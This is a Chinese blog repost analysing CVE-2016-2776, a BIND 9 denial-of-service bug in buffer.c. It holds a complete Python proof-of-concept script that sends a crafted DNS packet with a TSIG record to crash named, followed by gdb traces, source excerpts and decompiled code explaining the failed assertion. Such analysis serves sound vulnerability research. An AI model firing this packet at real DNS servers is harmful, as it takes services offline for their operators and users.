[CVE-2016-2776]BIND 9 ‘buffer.c’拒绝服务漏洞

栏目: 编程工具 · 发布时间: 5年前

内容简介:作者:k0shl 转载请注明出处:https://whereisk0shl.top2018年的最后一个月,一年又要过去了....BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

作者:k0shl 转载请注明出处:https://whereisk0shl.top

2018年的最后一个月,一年又要过去了....

漏洞说明

BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

PoC:

import socket
import struct

TARGET = ('192.168.200.10', 53)

Q_A = 1
Q_TSIG = 250
DNS_MESSAGE_HEADERLEN = 12


def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
    query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"

    sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
    tsig_rr = build_tsig_rr(sweet_spot)

    return query_A + tsig_rr

def int16(n):
    return struct.pack("!H", n)

def build_tsig_rr(bind_demarshalled_size):
    signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
                      "\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00")
    tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"

    necessary_bytes  = len(signature_data) + len(tsig_rr_extra_fields)
    necessary_bytes += 2 + 2 # length fields

    # from sizeof(TSIG RR) bytes conforming the TSIG RR
    # bind9 uses sizeof(TSIG RR) - 16 to build its own
    sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)

    tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
    tsig_data = algo_name + signature_data
    return tsig_hdr + int16(len(tsig_data)) + tsig_data

def generate_padding(n):
    max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
    buckets = [1] * len(max_per_bucket)

    min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
    max_size = sum(max_per_bucket) + len(buckets) + 2

    if not(min_size <= n <= max_size):
        raise RuntimeException("unsupported amount of bytes")

    curr_idx, n = 0, n - min_size
    while n > 0:
        next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
        buckets[curr_idx] = 1 + n - next_n
        n, curr_idx = next_n, curr_idx + 1

    n_padding = lambda amount: chr(amount) + "A" * amount
    stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"

    return stringify(buckets[:4]), stringify(buckets[4:])

if __name__ == "__main__":
    bombita = build_bind_nuke()

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.sendto(bombita, TARGET)
    s.close()

漏洞分析

BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。

首先部署BIND 9服务,这时候 linux 会开启53端口,gdb附加,发送畸形数据包。

可以看到Payload在Additional records字段中,数据包发送后,gdb会命中断点。

gdb-peda$ run
Starting program: /usr/sbin/named 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New process 9722]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb751ab40 (LWP 9723)]
[New Thread 0xb6d19b40 (LWP 9724)]
[New Thread 0xb6518b40 (LWP 9725)]

Program received signal SIGABRT, Aborted.
[Switching to Thread 0xb751ab40 (LWP 9723)]
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x25fa 
ECX: 0x25fb 
EDX: 0x6 
ESI: 0x1 
EDI: 0xb7b23000 --> 0x1a5da8 
EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:    pop    ebp)
EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:   nop
   0xb7fdebdd <__kernel_vsyscall+13>:   nop
   0xb7fdebde <__kernel_vsyscall+14>:   int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:   pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:   pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:   pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:   ret    
   0xb7fdebe4:  int3
[------------------------------------stack-------------------------------------]
0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main")
0004| 0xb7515a68 --> 0x6 
0008| 0xb7515a6c --> 0x25fb 
0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>:   xchg   ebx,edi)
0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8 
0020| 0xb7515a78 --> 0xb7515b14 --> 0x0 
0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xb7515a80 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT

这时候接收到了一个SIGABRT信号,在调用abort后会到达这个位置,从而中止DNS服务,通过bt的方法回溯一下堆栈调用情况。

gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb79ab307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb79ac9c3 in __GI_abort () at abort.c:89
#3  0x8002da86 in ?? ()
#4  0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95
#5  0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95
#6  0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100
#7  0xb7e58b08 in ?? () from /usr/lib/libdns.so.100
#8  0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100
#9  0x80021417 in ?? ()
#10 0x80021851 in ?? ()
#11 0x80022ac4 in ?? ()
#12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95
#13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309
#14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129

可以看到,在#4位置调用了isc_assertion_failed,随后执行了abort然后vsyscall中止服务,#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。

void
isc__buffer_add(isc_buffer_t *b, unsigned int n) {
    /*
     * Increase the 'used' region of 'b' by 'n' bytes.
     */

    REQUIRE(ISC_BUFFER_VALID(b));
    REQUIRE(b->used + n <= b->length);

    ISC__BUFFER_ADD(b, n);
}

在源码中关于isc__buffer_add的描述并没有涉及assert部分,但实际上REQUIRE就是一个断言的函数调用,我们通过IDA来观察这个过程。

首先,当服务端接收到数据包的时候,根据additional records字段会先调用dns_name_towire函数处理名称部分。

isc_result_t
dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) {
    ……
    dns_name_init(&gp, po);
    dns_name_init(&gs, so);
    isc_buffer_init(&gws, gb, sizeof (gb));

    offset = target->used;  /*XXX*/

    methods = dns_compress_getmethods(cctx);

    if ((methods & DNS_COMPRESS_GLOBAL) != 0)
        gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws);
    else
        gf = ISC_FALSE;

    /*
     * Will the compression pointer reduce the message size?
     */
    if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length)
        gf = ISC_FALSE;

    if (gf) {
        if (target->length - target->used < gp.length)
            return (ISC_R_NOSPACE);
        (void)memcpy((unsigned char *)target->base + target->used,
                 gp.ndata, (size_t)gp.length);
        isc_buffer_add(target, gp.length);
    ……
}

这里我取了关键的一部分代码,isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。

我们需要跟踪一下gp的值,实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。

isc_boolean_t
dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name,
            dns_name_t *prefix, dns_name_t *suffix,
            isc_uint16_t *offset, isc_buffer_t *workspace)
{
    REQUIRE(VALID_CCTX(cctx));
    REQUIRE(dns_name_isabsolute(name) == ISC_TRUE);
    REQUIRE(offset != NULL);

    return (compress_find(cctx->global, name, prefix, suffix, offset,
                  workspace));
}

gp的值是name的prefix部分,随后进入isc__buffer_add中。

int __cdecl isc__buffer_add(int a1, int a2)
{
  int result; // eax@1
  unsigned int v3; // edx@3

  result = a1;
  if ( !a1 || *(_DWORD *)a1 != 1114990113 )
    isc_assertion_failed(
      (int)"buffer.c",
      126,
      0,
      (int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))");
  v3 = *(_DWORD *)(a1 + 12) + a2;
  if ( v3 > *(_DWORD *)(a1 + 8) )
    isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length");
  *(_DWORD *)(a1 + 12) = v3;
  return result;
}

当进入第二个断言错误判断if ( v3 > *(_DWORD *)(a1 + 8) )的时候,我们来看一下这个过程的值,首先a1+8是name结构体中存放name长度的部分。

[------------------------------------stack-------------------------------------]
0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001")
0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>:   add    ebx,0x5f0aa)
0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998 
0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx  eax,WORD PTR [esp+0x18])
0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265")
0020| 0xb74de6c4 --> 0x1 
0024| 0xb74de6c8 --> 0x1 
0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95
gdb-peda$ x/10x $eax
0xb54c5040: 0x42756621  0xb54c5178  0x00000200  0x0000000c
0xb54c5050: 0x00000000  0x00000000  0xffffffff  0xffffffff
0xb54c5060: 0x00000000  0x00000000

注意b54c5040+8h的位置部分,存放的是长度,这个长度的获取时根据DNS数据包中字段的值决定的,但是如果这个值碰上/0,则会结束。

所以重新看一下发送的数据包,如果碰上/0,则会满足v3,也就是总长度大于字段中存放长度的时候,进入断言判断,DNS服务被中止。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

增长黑客

增长黑客

范冰 / 电子工业出版社 / 2015-7-1 / CNY 59.00

“增长黑客”这一概念近年来兴起于美国互联网创业圈,最早是由互联网创业者Sean Ellis提出。增长黑客是介于技术和市场之间的新型团队角色,主要依靠技术和数据的力量来达成各种营销目标,而非传统意义上靠砸钱来获取用户的市场推广角色。他们能从单线思维者时常忽略的角度和难以企及的高度通盘考虑影响产品发展的因素,提出基于产品本身的改造和开发策略,以切实的依据、低廉的成本、可控的风险来达成用户增长、活跃度上......一起来看看 《增长黑客》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

在线进制转换器
在线进制转换器

各进制数互转换器

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码